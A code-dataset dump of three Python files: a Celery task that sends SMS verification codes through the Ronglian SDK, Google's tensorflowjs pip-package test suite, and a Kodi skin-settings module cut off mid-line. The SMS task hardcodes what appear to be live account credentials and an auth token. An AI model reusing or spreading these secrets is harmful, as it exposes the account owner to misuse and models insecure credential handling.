from ronglian_sms_sdk import SmsSDK from celery_tasks.main import app # 写我们的任务（函数） # 任务必须要celery的实例对象装饰器task装饰 # 任务包的任务需要celery调用自检检查函数。(在main里面写。) @app.task def celery_send_sms_code(mobile, sms_code): accId = '8a216da8762cb4570176c60593ba35ec' accToken = '514a8783b8c2481ebbeb6a814434796f' appId = '8a216da8762cb4570176c605948c35f2' # 9.1. 创建荣联云实例对象 sdk = SmsSDK(accId, accToken, appId) tid = '1' # 我们发送短信的模板,值只能是 1 因为我们是测试用户 mobile = '%s' % mobile # '手机号1,手机号2' 给哪些手机号发送验证码,只能是测试手机号 datas = (sms_code, 10) # ('变量1', '变量2') 涉及到模板的变量 # 您的验证码为{1},请于{2} 分钟内输入 # 您的验证码为666999,请于5 分钟内输入 # 9.2. 发送短信 sdk.sendMessage(tid, mobile, datas)

32.809524

65

0.703919

79

689

6.037975

0.670886

0.044025

0

0.158645

0.185776

689

21

66

32.809524

0.691622

0.335269

0

0.220982

0.214286

0

1

0.083333

false

0

0.166667

0

0.25

0

null

0

null

0

1

0

86920ec1c0159b8548b81683e13e218d1875aaf1

33,860

py

Python

python/test_pip_package.py

syt123450/tfjs-converter

a90fa59a44d9425beb7b1584fe753c62d62bbc4d

[ "Apache-2.0" ]

null

python/test_pip_package.py

syt123450/tfjs-converter

a90fa59a44d9425beb7b1584fe753c62d62bbc4d

[ "Apache-2.0" ]

null

python/test_pip_package.py

syt123450/tfjs-converter

a90fa59a44d9425beb7b1584fe753c62d62bbc4d

[ "Apache-2.0" ]

null

# Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Test the Python API and shell binary of the tensorflowjs pip package.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import glob import json import os import shutil import subprocess import sys import tempfile import unittest import numpy as np import tensorflow as tf from tensorflow import keras from tensorflow.python.eager import def_function from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import tensor_spec from tensorflow.python.ops import variables from tensorflow.python.training.tracking import tracking from tensorflow.python.saved_model.save import save import tensorflow_hub as hub import tensorflowjs as tfjs def _createKerasModel(layer_name_prefix, h5_path=None): """Create a Keras model for testing. Args: layer_name_prefix: A prefix string for layer names. This helps avoid clashes in layer names between different test methods. h5_path: Optional string path for a HDF5 (.h5) file to save the model in. Returns: An instance of keras.Model. """ input_tensor = keras.layers.Input((3, )) dense1 = keras.layers.Dense( 4, use_bias=True, kernel_initializer='ones', bias_initializer='zeros', name=layer_name_prefix + '1')(input_tensor) output = keras.layers.Dense( 2, use_bias=False, kernel_initializer='ones', name=layer_name_prefix + '2')(dense1) model = keras.models.Model(inputs=[input_tensor], outputs=[output]) if h5_path: model.save(h5_path) return model def _createTensorFlowSavedModelV1(name_scope, save_path): """Create a TensorFlow SavedModel for testing. Args: name_scope: Name scope to create the model under. This helps avoid op and variable name clashes between different test methods. save_path: The directory path in which to save the model. """ graph = tf.Graph() with graph.as_default(): with tf.compat.v1.name_scope(name_scope): x = tf.compat.v1.constant([[37.0, -23.0], [1.0, 4.0]]) w = tf.compat.v1.get_variable('w', shape=[2, 2]) y = tf.compat.v1.matmul(x, w) output = tf.compat.v1.nn.softmax(y) init_op = w.initializer # Create a builder. builder = tf.compat.v1.saved_model.builder.SavedModelBuilder(save_path) with tf.compat.v1.Session() as sess: # Run the initializer on `w`. sess.run(init_op) builder.add_meta_graph_and_variables( sess, [tf.compat.v1.saved_model.tag_constants.SERVING], signature_def_map={ "serving_default": tf.compat.v1.saved_model.signature_def_utils.predict_signature_def( inputs={"x": x}, outputs={"output": output}) }, assets_collection=None) builder.save() def _createTensorFlowSavedModel(name_scope, save_path): """Create a TensorFlow SavedModel for testing. Args: name_scope: Name scope to create the model under. This helps avoid op and variable name clashes between different test methods. save_path: The directory path in which to save the model. """ input_data = constant_op.constant(1., shape=[1]) root = tracking.AutoTrackable() root.v1 = variables.Variable(3.) root.v2 = variables.Variable(2.) root.f = def_function.function(lambda x: root.v1 * root.v2 * x) to_save = root.f.get_concrete_function(input_data) save(root, save_path, to_save) def _create_hub_module(save_path): """Create a TensorFlow Hub module for testing. Args: save_path: The directory path in which to save the model. """ # Module function that doubles its input. def double_module_fn(): w = tf.Variable([2.0, 4.0]) x = tf.compat.v1.placeholder(dtype=tf.float32) hub.add_signature(inputs=x, outputs=x*w) graph = tf.Graph() with graph.as_default(): spec = hub.create_module_spec(double_module_fn) m = hub.Module(spec) # Export the module. with tf.compat.v1.Session(graph=graph) as sess: sess.run(tf.compat.v1.global_variables_initializer()) m.export(save_path, sess) class APIAndShellTest(tf.test.TestCase): """Tests for the Python API of the pip package.""" @classmethod def setUpClass(cls): cls.class_tmp_dir = tempfile.mkdtemp() cls.tf_saved_model_dir = os.path.join(cls.class_tmp_dir, 'tf_saved_model') cls.tf_saved_model_v1_dir = os.path.join( cls.class_tmp_dir, 'tf_saved_model_v1') _createTensorFlowSavedModel('a', cls.tf_saved_model_dir) _createTensorFlowSavedModelV1('b', cls.tf_saved_model_v1_dir) cls.tf_hub_module_dir = os.path.join(cls.class_tmp_dir, 'tf_hub_module') _create_hub_module(cls.tf_hub_module_dir) @classmethod def tearDownClass(cls): shutil.rmtree(cls.class_tmp_dir) def setUp(self): # Make sure this file is not being run from the source directory, to # avoid picking up source files. if os.path.isdir( os.path.join(os.path.dirname(__file__), 'tensorflowjs')): self.fail('Do not run this test from the Python source directory. ' 'This file is intended to be run on pip install.') self._tmp_dir = tempfile.mkdtemp() super(APIAndShellTest, self).setUp() def tearDown(self): if os.path.isdir(self._tmp_dir): shutil.rmtree(self._tmp_dir) super(APIAndShellTest, self).tearDown() def testVersionString(self): self.assertEqual(2, tfjs.__version__.count('.')) def testSaveKerasModel(self): with self.test_session(): # First create a toy keras model. model = _createKerasModel('MergedDense') tfjs.converters.save_keras_model(model, self._tmp_dir) # Briefly check the model topology. with open(os.path.join(self._tmp_dir, 'model.json')) as f: json_content = json.load(f) model_json = json_content['modelTopology'] self.assertIsInstance(model_json['model_config'], dict) self.assertIsInstance(model_json['model_config']['config'], dict) self.assertIn('layers', model_json['model_config']['config']) weights_manifest = json_content['weightsManifest'] self.assertIsInstance(weights_manifest, list) # Briefly check the weights manifest. weight_shapes = dict() weight_dtypes = dict() for manifest_item in weights_manifest: for weight in manifest_item['weights']: weight_name = weight['name'] weight_shapes[weight_name] = weight['shape'] weight_dtypes[weight_name] = weight['dtype'] self.assertEqual( sorted(list(weight_shapes.keys())), sorted([ 'MergedDense1/kernel', 'MergedDense1/bias', 'MergedDense2/kernel' ])) self.assertEqual(weight_shapes['MergedDense1/kernel'], [3, 4]) self.assertEqual(weight_shapes['MergedDense1/bias'], [4]) self.assertEqual(weight_shapes['MergedDense2/kernel'], [4, 2]) self.assertEqual(weight_dtypes['MergedDense1/kernel'], 'float32') self.assertEqual(weight_dtypes['MergedDense1/bias'], 'float32') self.assertEqual(weight_dtypes['MergedDense2/kernel'], 'float32') def testLoadKerasModel(self): # Use separate tf.Graph and tf.compat.v1.Session contexts to prevent name collision. with tf.Graph().as_default(), tf.compat.v1.Session(): # First create a toy keras model. model1 = _createKerasModel('MergedDense') tfjs.converters.save_keras_model(model1, self._tmp_dir) model1_weight_values = model1.get_weights() with tf.Graph().as_default(), tf.compat.v1.Session(): # Load the model from saved artifacts. model2 = tfjs.converters.load_keras_model( os.path.join(self._tmp_dir, 'model.json')) # Compare the loaded model with the original one. model2_weight_values = model2.get_weights() self.assertEqual(len(model1_weight_values), len(model2_weight_values)) for model1_weight_value, model2_weight_value in zip( model1_weight_values, model2_weight_values): self.assertAllClose(model1_weight_value, model2_weight_value) # Check the content of the output directory. self.assertTrue(glob.glob(os.path.join(self._tmp_dir, 'group*-*'))) def testInvalidInputFormatRaisesError(self): process = subprocess.Popen( [ 'tensorflowjs_converter', '--input_format', 'nonsensical_format', self._tmp_dir, self._tmp_dir ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) _, stderr = process.communicate() self.assertGreater(process.returncode, 0) self.assertIn(b'--input_format', tf.compat.as_bytes(stderr)) def testMissingInputPathRaisesError(self): process = subprocess.Popen( [ 'tensorflowjs_converter' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) _, stderr = process.communicate() self.assertGreater(process.returncode, 0) self.assertIn(b'input_path', tf.compat.as_bytes(stderr)) def testKerasH5ConversionWorksFromCLI(self): with tf.Graph().as_default(), tf.compat.v1.Session(): # First create a toy keras model. os.makedirs(os.path.join(self._tmp_dir, 'keras_h5')) h5_path = os.path.join(self._tmp_dir, 'keras_h5', 'model.h5') _createKerasModel('MergedDenseForCLI', h5_path) process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'keras', h5_path, self._tmp_dir ]) process.communicate() self.assertEqual(0, process.returncode) # Briefly check the model topology. with open(os.path.join(self._tmp_dir, 'model.json'), 'rt') as f: json_content = json.load(f) model_json = json_content['modelTopology'] self.assertIsInstance(model_json['model_config'], dict) self.assertIsInstance(model_json['model_config']['config'], dict) self.assertIn('layers', model_json['model_config']['config']) weights_manifest = json_content['weightsManifest'] self.assertIsInstance(weights_manifest, list) # Briefly check the weights manifest. weight_shapes = dict() weight_dtypes = dict() for manifest_item in weights_manifest: for weight in manifest_item['weights']: weight_name = weight['name'] weight_shapes[weight_name] = weight['shape'] weight_dtypes[weight_name] = weight['dtype'] self.assertEqual( sorted(list(weight_shapes.keys())), sorted([ 'MergedDenseForCLI1/kernel', 'MergedDenseForCLI1/bias', 'MergedDenseForCLI2/kernel' ])) self.assertEqual(weight_shapes['MergedDenseForCLI1/kernel'], [3, 4]) self.assertEqual(weight_shapes['MergedDenseForCLI1/bias'], [4]) self.assertEqual(weight_shapes['MergedDenseForCLI2/kernel'], [4, 2]) self.assertEqual(weight_dtypes['MergedDenseForCLI1/kernel'], 'float32') self.assertEqual(weight_dtypes['MergedDenseForCLI1/bias'], 'float32') self.assertEqual(weight_dtypes['MergedDenseForCLI2/kernel'], 'float32') # Verify that there is only one weight group due to the default # non-split_weights_by_layer behavior. The model is a small one, which # does not exceed the 4-MB shard size limit. Therefore, there should # be only one weight file. self.assertEqual( 1, len(glob.glob(os.path.join(self._tmp_dir, 'group*')))) def testKerasH5ConversionSplitWeightsByLayerWorksFromCLI(self): with tf.Graph().as_default(), tf.compat.v1.Session(): # First create a toy keras model. os.makedirs(os.path.join(self._tmp_dir, 'keras_h5')) h5_path = os.path.join(self._tmp_dir, 'keras_h5', 'model.h5') _createKerasModel('MergedDenseForCLI', h5_path) process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'keras', '--split_weights_by_layer', h5_path, self._tmp_dir ]) process.communicate() self.assertEqual(0, process.returncode) # Briefly check the model topology. with open(os.path.join(self._tmp_dir, 'model.json'), 'rt') as f: json_content = json.load(f) model_json = json_content['modelTopology'] self.assertIsInstance(model_json['model_config'], dict) self.assertIsInstance(model_json['model_config']['config'], dict) self.assertIn('layers', model_json['model_config']['config']) weights_manifest = json_content['weightsManifest'] self.assertIsInstance(weights_manifest, list) # Briefly check the weights manifest. weight_shapes = dict() weight_dtypes = dict() for manifest_item in weights_manifest: for weight in manifest_item['weights']: weight_name = weight['name'] weight_shapes[weight_name] = weight['shape'] weight_dtypes[weight_name] = weight['dtype'] self.assertEqual( sorted(list(weight_shapes.keys())), sorted([ 'MergedDenseForCLI1/kernel', 'MergedDenseForCLI1/bias', 'MergedDenseForCLI2/kernel' ])) self.assertEqual(weight_shapes['MergedDenseForCLI1/kernel'], [3, 4]) self.assertEqual(weight_shapes['MergedDenseForCLI1/bias'], [4]) self.assertEqual(weight_shapes['MergedDenseForCLI2/kernel'], [4, 2]) self.assertEqual(weight_dtypes['MergedDenseForCLI1/kernel'], 'float32') self.assertEqual(weight_dtypes['MergedDenseForCLI1/bias'], 'float32') self.assertEqual(weight_dtypes['MergedDenseForCLI2/kernel'], 'float32') # Verify that there are two weight groups due to the optional flag # --split_weights_by_layer behavior. The model is a small one. None of # the layers should have weight sizes exceeding the 4-MB shard size # limit. self.assertEqual( 2, len(glob.glob(os.path.join(self._tmp_dir, 'group*')))) def testKerasH5ConversionWithSignatureNameErrors(self): process = subprocess.Popen( [ 'tensorflowjs_converter', '--input_format', 'keras', '--signature_name', 'bar', os.path.join(self._tmp_dir, 'foo.h5'), os.path.join(self._tmp_dir, 'output') ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) _, stderr = process.communicate() self.assertGreater(process.returncode, 0) self.assertIn( b'The --signature_name flag is applicable only to', tf.compat.as_bytes(stderr)) def testConvertTFSavedModelV1WithCommandLineWorks(self): output_dir = os.path.join(self._tmp_dir) process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'tf_saved_model', '--output_format', 'tfjs_graph_model', self.tf_saved_model_v1_dir, output_dir ]) process.communicate() self.assertEqual(0, process.returncode) weights = [{ 'paths': ['group1-shard1of1.bin'], 'weights': [{'dtype': 'float32', 'name': 'w', 'shape': [2, 2]}]}] # Load the saved weights as a JSON string. output_json = json.load( open(os.path.join(output_dir, 'model.json'), 'rt')) self.assertEqual(output_json['weightsManifest'], weights) # Check the content of the output directory. self.assertTrue(glob.glob(os.path.join(output_dir, 'group*-*'))) def testConvertTFHubModuleWithCommandLineWorks(self): output_dir = os.path.join(self._tmp_dir) process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'tf_hub', self.tf_hub_module_dir, output_dir ]) process.communicate() self.assertEqual(0, process.returncode) weights = [{ 'paths': ['group1-shard1of1.bin'], 'weights': [{ 'shape': [2], 'name': 'module/Variable', 'dtype': 'float32' }] }] # Load the saved weights as a JSON string. output_json = json.load( open(os.path.join(output_dir, 'model.json'), 'rt')) self.assertEqual(output_json['weightsManifest'], weights) # Check the content of the output directory. self.assertTrue(glob.glob(os.path.join(output_dir, 'group*-*'))) def testConvertTFSavedModelWithCommandLineWorks(self): output_dir = os.path.join(self._tmp_dir) process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'tf_saved_model', '--output_format', 'tfjs_graph_model', self.tf_saved_model_dir, output_dir ]) process.communicate() self.assertEqual(0, process.returncode) weights = [{ 'paths': ['group1-shard1of1.bin'], 'weights': [{ 'dtype': 'float32', 'shape': [], 'name': 'StatefulPartitionedCall/mul' }] }] # Load the saved weights as a JSON string. output_json = json.load( open(os.path.join(output_dir, 'model.json'), 'rt')) weights_manifest = output_json['weightsManifest'] self.assertEqual(len(weights_manifest), len(weights)) if sys.version_info[0] < 3: self.assertItemsEqual(weights_manifest[0]['paths'], weights[0]['paths']) self.assertItemsEqual(weights_manifest[0]['weights'], weights[0]['weights']) else: self.assertCountEqual(weights_manifest[0]['paths'], weights[0]['paths']) self.assertCountEqual(weights_manifest[0]['weights'], weights[0]['weights']) # Check the content of the output directory. self.assertTrue(glob.glob(os.path.join(output_dir, 'group*-*'))) def testConvertTFHubModuleWithCommandLineWorks(self): output_dir = os.path.join(self._tmp_dir) process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'tf_hub', self.tf_hub_module_dir, output_dir ]) process.communicate() self.assertEqual(0, process.returncode) weights = [{ 'paths': ['group1-shard1of1.bin'], 'weights': [{ 'shape': [2], 'name': 'module/Variable', 'dtype': 'float32' }] }] # Load the saved weights as a JSON string. output_json = json.load( open(os.path.join(output_dir, 'model.json'), 'rt')) self.assertEqual(output_json['weightsManifest'], weights) # Check the content of the output directory. self.assertTrue(glob.glob(os.path.join(output_dir, 'group*-*'))) def testConvertTensorflowjsArtifactsToKerasH5(self): # 1. Create a toy keras model and save it as an HDF5 file. os.makedirs(os.path.join(self._tmp_dir, 'keras_h5')) h5_path = os.path.join(self._tmp_dir, 'keras_h5', 'model.h5') with tf.Graph().as_default(), tf.compat.v1.Session(): model = _createKerasModel('MergedDenseForCLI', h5_path) model_json = model.to_json() # 2. Convert the HDF5 file to tensorflowjs format. process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'keras', h5_path, self._tmp_dir ]) process.communicate() self.assertEqual(0, process.returncode) # 3. Convert the tensorflowjs artifacts back to HDF5. new_h5_path = os.path.join(self._tmp_dir, 'model_2.h5') process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'tfjs_layers_model', '--output_format', 'keras', os.path.join(self._tmp_dir, 'model.json'), new_h5_path]) process.communicate() self.assertEqual(0, process.returncode) # 4. Load the model back from the new HDF5 file and compare with the # original model. with tf.Graph().as_default(), tf.compat.v1.Session(): model_2 = keras.models.load_model(new_h5_path) model_2_json = model_2.to_json() self.assertEqual(model_json, model_2_json) def testLoadTensorflowjsArtifactsAsKerasModel(self): # 1. Create a toy keras model and save it as an HDF5 file. os.makedirs(os.path.join(self._tmp_dir, 'keras_h5')) h5_path = os.path.join(self._tmp_dir, 'keras_h5', 'model.h5') with tf.Graph().as_default(), tf.compat.v1.Session(): model = _createKerasModel('MergedDenseForCLI', h5_path) model_json = model.to_json() # 2. Convert the HDF5 file to tensorflowjs format. process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'keras', h5_path, self._tmp_dir ]) process.communicate() self.assertEqual(0, process.returncode) # 3. Load the tensorflowjs artifacts as a keras.Model instance. with tf.Graph().as_default(), tf.compat.v1.Session(): model_2 = tfjs.converters.load_keras_model( os.path.join(self._tmp_dir, 'model.json')) model_2_json = model_2.to_json() self.assertEqual(model_json, model_2_json) def testVersion(self): process = subprocess.Popen( ['tensorflowjs_converter', '--version'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, _ = process.communicate() self.assertEqual(0, process.returncode) self.assertIn( tf.compat.as_bytes('tensorflowjs %s' % tfjs.__version__), tf.compat.as_bytes(stdout)) process = subprocess.Popen( ['tensorflowjs_converter', '-v'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, _ = process.communicate() self.assertEqual(0, process.returncode) self.assertIn( tf.compat.as_bytes('tensorflowjs %s' % tfjs.__version__), tf.compat.as_bytes(stdout)) class ConvertTfKerasSavedModelTest(tf.test.TestCase): def setUp(self): super(ConvertTfKerasSavedModelTest, self).setUp() self._tmp_dir = tempfile.mkdtemp() def tearDown(self): if os.path.isdir(self._tmp_dir): shutil.rmtree(self._tmp_dir) super(ConvertTfKerasSavedModelTest, self).tearDown() def _createSimpleSequentialModel(self): model = keras.Sequential() model.add(keras.layers.Reshape([2, 3], input_shape=[6])) model.add(keras.layers.LSTM(10)) model.add(keras.layers.Dense(1, activation='sigmoid')) return model def _createNestedSequentialModel(self): model = keras.Sequential() model.add(keras.layers.Dense(6, input_shape=[10], activation='relu')) model.add(self._createSimpleSequentialModel()) return model def _createFunctionalModelWithWeights(self): input1 = keras.Input(shape=[8]) input2 = keras.Input(shape=[10]) y = keras.layers.Concatenate()([input1, input2]) y = keras.layers.Dense(4, activation='softmax')(y) model = keras.Model([input1, input2], y) return model def testConvertTfKerasNestedSequentialSavedModelIntoTfjsFormat(self): with tf.Graph().as_default(), tf.compat.v1.Session(): x = np.random.randn(8, 10) # 1. Run the model.predict(), store the result. Then saved the model # as a SavedModel. model = self._createNestedSequentialModel() y = model.predict(x) keras.experimental.export_saved_model(model, self._tmp_dir) # 2. Convert the keras saved model to tfjs format. tfjs_output_dir = os.path.join(self._tmp_dir, 'tfjs') # Implicit value of --output_format: tfjs_layers_model process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'keras_saved_model', self._tmp_dir, tfjs_output_dir ]) process.communicate() self.assertEqual(0, process.returncode) model_json_path = os.path.join(tfjs_output_dir, 'model.json') self.assertTrue(os.path.isfile(model_json_path)) # 3. Convert the tfjs model to keras h5 format. new_h5_path = os.path.join(self._tmp_dir, 'new_h5.h5') process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'tfjs_layers_model', '--output_format', 'keras', model_json_path, new_h5_path]) process.communicate() self.assertEqual(0, process.returncode) self.assertTrue(os.path.isfile(new_h5_path)) # 4. Load the model back and assert on the equality of the predict # results. model_prime = keras.models.load_model(new_h5_path) new_y = model_prime.predict(x) self.assertAllClose(y, new_y) def testConvertTfKerasFunctionalSavedModelIntoTfjsFormat(self): with tf.Graph().as_default(), tf.compat.v1.Session(): x1 = np.random.randn(4, 8) x2 = np.random.randn(4, 10) # 1. Run the model.predict(), store the result. Then saved the model # as a SavedModel. model = self._createFunctionalModelWithWeights() y = model.predict([x1, x2]) keras.experimental.export_saved_model(model, self._tmp_dir) # 2. Convert the keras saved model to tfjs format. tfjs_output_dir = os.path.join(self._tmp_dir, 'tfjs') # Use explicit --output_format value: tfjs_layers_model process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'keras_saved_model', '--output_format', 'tfjs_layers_model', self._tmp_dir, tfjs_output_dir ]) process.communicate() self.assertEqual(0, process.returncode) model_json_path = os.path.join(tfjs_output_dir, 'model.json') self.assertTrue(os.path.isfile(model_json_path)) # 3. Convert the tfjs model to keras h5 format. new_h5_path = os.path.join(self._tmp_dir, 'new_h5.h5') process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'tfjs_layers_model', '--output_format', 'keras', model_json_path, new_h5_path]) process.communicate() self.assertEqual(0, process.returncode) self.assertTrue(os.path.isfile(new_h5_path)) # 4. Load the model back and assert on the equality of the predict # results. model_prime = keras.models.load_model(new_h5_path) new_y = model_prime.predict([x1, x2]) self.assertAllClose(y, new_y) def testUsingIncorrectKerasSavedModelRaisesError(self): with tf.Graph().as_default(), tf.compat.v1.Session(): x = np.random.randn(8, 10) # 1. Run the model.predict(), store the result. Then saved the model # as a SavedModel. model = self._createNestedSequentialModel() y = model.predict(x) keras.experimental.export_saved_model(model, self._tmp_dir) # 2. Convert the keras saved model to tfjs format. tfjs_output_dir = os.path.join(self._tmp_dir, 'tfjs') # Use incorrect --input_format value: keras process = subprocess.Popen( [ 'tensorflowjs_converter', '--input_format', 'keras', self._tmp_dir, tfjs_output_dir ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) _, stderr = process.communicate() self.assertIn( b'Expected path to point to an HDF5 file, ' b'but it points to a directory', tf.compat.as_bytes(stderr)) def testConvertTfjsLayersModelIntoShardedWeights(self): with tf.Graph().as_default(), tf.compat.v1.Session(): x = np.random.randn(8, 10) # 1. Run the model.predict(), store the result. Then saved the model # as a SavedModel. model = self._createNestedSequentialModel() y = model.predict(x) weights = model.get_weights() total_weight_bytes = sum(np.size(w) for w in weights) * 4 keras.experimental.export_saved_model(model, self._tmp_dir) # 2. Convert the keras saved model to tfjs_layers_model format. tfjs_output_dir = os.path.join(self._tmp_dir, 'tfjs') # Implicit value of --output_format: tfjs_layers_model process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'keras_saved_model', self._tmp_dir, tfjs_output_dir ]) process.communicate() self.assertEqual(0, process.returncode) # 3. Convert the tfjs_layers_model to another tfjs_layers_model, # with sharded weights. weight_shard_size_bytes = int(total_weight_bytes * 0.3) # Due to the shard size, there ought to be 4 shards after conversion. sharded_model_dir = os.path.join(self._tmp_dir, 'tfjs_sharded') process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'tfjs_layers_model', '--output_format', 'tfjs_layers_model', '--weight_shard_size_bytes', str(weight_shard_size_bytes), os.path.join(tfjs_output_dir, 'model.json'), sharded_model_dir ]) process.communicate() self.assertEqual(0, process.returncode) # 4. Check the sharded weight files and their sizes. weight_files = sorted( glob.glob(os.path.join(sharded_model_dir, 'group*.bin'))) self.assertEqual(len(weight_files), 4) weight_file_sizes = [os.path.getsize(f) for f in weight_files] self.assertEqual(sum(weight_file_sizes), total_weight_bytes) self.assertEqual(weight_file_sizes[0], weight_file_sizes[1]) self.assertEqual(weight_file_sizes[0], weight_file_sizes[2]) self.assertLess(weight_file_sizes[3], weight_file_sizes[0]) # 5. Convert the sharded tfjs_layers_model back into a keras h5 file. new_h5_path = os.path.join(self._tmp_dir, 'new_h5.h5') process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'tfjs_layers_model', os.path.join(sharded_model_dir, 'model.json'), new_h5_path ]) process.communicate() self.assertEqual(0, process.returncode) with tf.Graph().as_default(), tf.compat.v1.Session(): # 6. Load the keras model and check the predict() output is close to # before. new_model = keras.models.load_model(new_h5_path) new_y = new_model.predict(x) self.assertAllClose(new_y, y) def testConvertTfjsLayersModelWithQuantization(self): with tf.Graph().as_default(), tf.compat.v1.Session(): x = np.random.randn(8, 10) # 1. Run the model.predict(), store the result. Then saved the model # as a SavedModel. model = self._createNestedSequentialModel() y = model.predict(x) weights = model.get_weights() total_weight_bytes = sum(np.size(w) for w in weights) * 4 keras.experimental.export_saved_model(model, self._tmp_dir) # 2. Convert the keras saved model to tfjs_layers_model format. tfjs_output_dir = os.path.join(self._tmp_dir, 'tfjs') # Implicit value of --output_format: tfjs_layers_model process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'keras_saved_model', self._tmp_dir, tfjs_output_dir ]) process.communicate() self.assertEqual(0, process.returncode) # 3. Convert the tfjs_layers_model to another tfjs_layers_model, # with uint16 quantization. weight_shard_size_bytes = int(total_weight_bytes * 0.3) # Due to the shard size, there ought to be 4 shards after conversion. sharded_model_dir = os.path.join(self._tmp_dir, 'tfjs_sharded') process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'tfjs_layers_model', '--output_format', 'tfjs_layers_model', '--quantization_bytes', '2', os.path.join(tfjs_output_dir, 'model.json'), sharded_model_dir ]) process.communicate() self.assertEqual(0, process.returncode) # 4. Check the quantized weight file and its size. weight_files = sorted( glob.glob(os.path.join(sharded_model_dir, 'group*.bin'))) self.assertEqual(len(weight_files), 1) weight_file_size = os.path.getsize(weight_files[0]) # The size of the weight file should reflect the uint16 quantization. self.assertEqual(weight_file_size, total_weight_bytes // 2) def testConvertTfjsLayersModelToTfjsGraphModel(self): x = np.random.randn(8, 10) # 1. Create a model for testing. model = keras.Sequential() model.add(keras.layers.Dense(10, activation='relu', input_shape=[4])) model.add(keras.layers.Dense(1, activation='sigmoid')) h5_path = os.path.join(self._tmp_dir, 'model.h5') model.save(h5_path) # 2. Convert the keras saved model to tfjs_layers_model format. layers_model_output_dir = os.path.join(self._tmp_dir, 'tfjs_layers') # Implicit value of --output_format: tfjs_layers_model process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'keras', h5_path, layers_model_output_dir ]) process.communicate() self.assertEqual(0, process.returncode) # 3. Convert the tfjs_layers_model to another tfjs_graph_model. graph_model_dir = os.path.join(self._tmp_dir, 'tfjs_graph') process = subprocess.Popen([ 'tensorflowjs_converter', '--input_format', 'tfjs_layers_model', '--output_format', 'tfjs_graph_model', os.path.join(layers_model_output_dir, 'model.json'), graph_model_dir ]) process.communicate() self.assertEqual(0, process.returncode) # 4. Check the model.json and weight file and its size. self.assertTrue(os.path.isfile(os.path.join(graph_model_dir, 'model.json'))) weight_files = sorted( glob.glob(os.path.join(graph_model_dir, 'group*.bin'))) self.assertEqual(len(weight_files), 1) if __name__ == '__main__': tf.test.main()

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869310d00b7b8dcf8e18a56efd569e5ae8396471

7,195

py

Python

script.ezclean/resources/lib/modules/skinz.py

rrosajp/script.ezclean

ed6fbe6441713a3c96ce15a595cdd5c69291355f

[ "MIT" ]

5

2019-03-12T23:10:48.000Z

2021-05-06T05:31:26.000Z

script.ezclean/resources/lib/modules/skinz.py

rrosajp/script.ezclean-1

ed6fbe6441713a3c96ce15a595cdd5c69291355f

[ "MIT" ]

3

2019-03-17T21:53:29.000Z

2019-04-22T16:44:38.000Z

script.ezclean/resources/lib/modules/skinz.py

rrosajp/script.ezclean-1

ed6fbe6441713a3c96ce15a595cdd5c69291355f

[ "MIT" ]

4

2019-03-17T21:17:19.000Z

2020-03-30T12:45:33.000Z

# -*- coding: UTF-8 -*- import os, re, shutil, time, xbmc from resources.lib.modules import control try: import json as simplejson except: import simplejson ADDONS = os.path.join(control.HOMEPATH, 'addons') def currSkin(): return control.skin def getOld(old): try: old = '"%s"' % old query = '{"jsonrpc":"2.0", "method":"Settings.GetSettingValue","params":{"setting":%s}, "id":1}' % (old) response = control.jsonrpc(query) response = simplejson.loads(response) if response.has_key('result'): if response['result'].has_key('value'): return response ['result']['value'] except: pass return None def setNew(new, value): try: new = '"%s"' % new value = '"%s"' % value query = '{"jsonrpc":"2.0", "method":"Settings.SetSettingValue","params":{"setting":%s,"value":%s}, "id":1}' % (new, value) response = control.jsonrpc(query) except: pass return None def swapSkins(skin): old = 'lookandfeel.skin' value = skin current = getOld(old) new = old setNew(new, value) def lookandFeelData(do='save'): scan = ['lookandfeel.enablerssfeeds', 'lookandfeel.font', 'lookandfeel.rssedit', 'lookandfeel.skincolors', 'lookandfeel.skintheme', 'lookandfeel.skinzoom', 'lookandfeel.soundskin', 'lookandfeel.startupwindow', 'lookandfeel.stereostrength'] if do == 'save': for item in scan: query = '{"jsonrpc":"2.0", "method":"Settings.GetSettingValue","params":{"setting":"%s"}, "id":1}' % (item) response = control.jsonrpc(query) if not 'error' in response: match = re.compile('{"value":(.+?)}').findall(str(response)) control.setSetting(item.replace('lookandfeel', 'default'), match[0]) control.log("%s saved to %s" % (item, match[0])) else: for item in scan: value = setting(item.replace('lookandfeel', 'default')) query = '{"jsonrpc":"2.0", "method":"Settings.SetSettingValue","params":{"setting":"%s","value":%s}, "id":1}' % (item, value) response = control.jsonrpc(query) control.log("%s restored to %s" % (item, value)) def defaultSkin(): control.log("[Default Skin Check]") tempgui = os.path.join(USERDATAPATH, 'guitemp.xml') gui = tempgui if 